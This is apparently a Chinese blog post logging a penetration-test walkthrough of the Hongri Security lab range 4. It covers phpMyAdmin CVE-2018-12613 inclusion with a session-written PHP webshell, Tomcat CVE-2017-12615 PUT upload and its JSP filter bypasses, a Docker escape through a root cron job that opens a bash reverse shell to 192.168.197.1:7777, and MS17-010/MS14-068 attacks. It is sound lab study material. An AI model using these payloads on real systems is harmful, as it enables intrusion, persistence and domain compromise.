红日安全靶场4学习记录
环境搭建及配置
靶场下载地址:http://39.98.79.56/vuln/detail/6/
靶场拓扑图:
环境配置:
- ubuntu:ubuntu (
sudo docker start ec 17 09 bb da 3d ab ad
启动靶场环境) - douser:Dotest123
- administrator:Test2008 更新为Test2022
这里如果是Mac的话需要配置一下域内的网络情况,不然容易连不通
Ubuntu是双网卡,一张nat,一张仅主机,并配置分配一个静态ip
auto eth1
iface eth1 inet static
address 192.168.183.22
gateway 192.168.183.1
netmask 255.255.255.0
其余的两台域内主机配置成仅主机即可。
当域内主机能ping通Ubuntu即可
外网渗透
信息收集
nmap -sS -sV ip
快速查看目标机器端口及开放端口
经探测可发现
- 2001是文件上传且存在struct2框架,存在漏洞
- 2002端口是Tomcat,存在put任意文件上传漏洞
- 2003是phpmyadmin后台
phpmyadmin远程文件包含getshell
版本4.8.1存在CVE-2018-12613 远程文件包含,
payload ?target=tbl_zoom_select.php?/../../../../../../etc/hosts
由于是docker环境,不能利用写木马到数据库然后包含frm文件。因为vulhub是利用站库分离的搭法,这样我们插入木马到某个表中,payload会保存在数据库系统里,而不是web服务器上。
因此利用session写入shell的方式进行getshell
原理:
Http协议是一种无状态协议,即每次服务端接收到客户端的请求时,都是一个全新的请求,服务器并不知道客户端的历史请求记录;
**Session的主要目的就是为了弥补Http的无状态特性。简单的说,就是服务器可以利用session存储客户端在同一个会话期间的一些操作记录;
**因此这里相对应的sql的查询历史也会出现在session中,若是一句话木马出现在session中,那么就可以使用远程文件包含取得shell了。
session常见的一些保存路径
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
session
文件的存储路径是分为两种情况的
一是没有权限,默认存储在/var/lib/php/sessions/
目录下,文件名为sess_[phpsessid]
,而phpsessid
在发送的请求的cookie
字段中可以看到(一般在利用漏洞时我们自己设置phpsessid
)
二是phpmyadmin
,这时的session
文件存储在/tmp
目录下,需要在php.ini
里把session.auto_start
置为 1,把session.save_path
目录设置为/tmp
直接执行SELECT "<?php phpinfo();?>"
可以看到确实被保存到了sess_sessid中去了。
文件包含直接返回了PHPinfo的页面,查看CONTEXT_DOCUMENT_ROOT的内容,得知网站根目录为/var/www/html 这个有大用
接着使用文件包含将一句话木马写到网站目录下,尝试过将一句话木马直接写在包含文件中是不可以进行连接的。毕竟只是包含并不是真正的接收参数的页面
select "<?php file_put_contents('/var/www/html/cmd.php','<?php @eval($_POST[pass]);?>')?>"
将该内容写入到session中,再次包含,在网站目录访问cmd.php 即可。
这里由于docker环境缺少太多必要的东西导致无法成功逃逸,并且提取成功无法切换用户
Tomcat 任意文件上传
CVE-2017-12615 主要是利用这个漏洞进行文件上传
使用PUT方法上传一个冰蝎马
漏洞原理
由于配置不当(非默认配置),将配置文件conf/web.xml
中的readonly
设置为了 false,导致可以使用PUT方法上传任意文件,但限制了jsp后缀的上传
根据描述,在 Windows 服务器下,将 readonly 参数设置为 false 时,即可通过 PUT 方式创建一个 JSP 文件,并可以执行任意代码
通过阅读 conf/web.xml 文件,可以发现,默认 readonly 为 true,当 readonly 设置为 false 时,可以通过 PUT / DELETE 进行文件操控
jsp限制绕过
但是该上传对jsp后缀进行简单的过滤,可以用以下三种方法进行绕过
- 在jsp后缀加上%20,即空格直接忽略
- 在jsp后缀后面使用
/
,因为/
在文件名中是非法的,在windows和linux中都会自动去除。 - 在jsp后缀使用Windows NTFS流,在jsp后面添加
::$DATA
docker逃逸
通过冰蝎马拿到shell之后发现很多命令无法使用,怀疑存在docker环境,这里用命令cat /proc/1/cgroup
来探测是否在docker环境里
一般来说,docker里会更长一点。
使用fdisk -l 查看宿主机的分区
使用mount /dev/sda1 ./test
挂载到当前目录下新创建的test文件夹中
进入test则可以看见一份vmLinux,则大概率已经进入到宿主机的目录下了。
通过写计划任务,反弹出宿主机的shell
由于docker里没有vi vim ,因此只能用echo来向/var/spool/cron/crontabs/root
写入计划任务了。
echo "* * * * * bash -c 'bash -i >& /dev/tcp/192.168.197.1/7777 0>&1'">root
这里为什么用bash -c呢,其实主要是踩坑试验出来的。
在ubuntu docker中,/bin/sh的指向大多数是dash,这就导致了无法成功反弹
那么有两种办法可以解决
ls -al /bin/sh
查看指向ln -s -f bash /bin/sh
修改指向bash -c 'bash -i >& /dev/tcp/192.168.197.1/7777 0>&1'
使用bash -c直接执行
内网渗透
docker逃逸成功后,使用msf上线以获取更多权限以及方面后渗透
可以看到存在两张网卡,一个是197段一个是198段(临时更改了),使用fscan对198段进行一个初步的信息探测
可以看到内网就两台机器,一台是138的win7,一台是140的win2008。并且探测出存在ms17-010。
![[Pasted image 20221006154402.png]]
使用ms17-010打入win7,然后使用ms14-068横移获得域控权限
这里可以参考
红日安全靶场一
总结
这次的靶机内网部分并无特别多的骚操作,主要是外网部分学习到了很多。
- session配合文件包含写shell
- Tomact除了弱口令上传war包还有两个常见的cve
- 学习到了docker逃逸的新姿势
参考资料:
版权声明:本文为原创文章,版权归 Bill's Blog 所有,转载请注明出处!如相关链接出现404,可以在文章下面评论留言。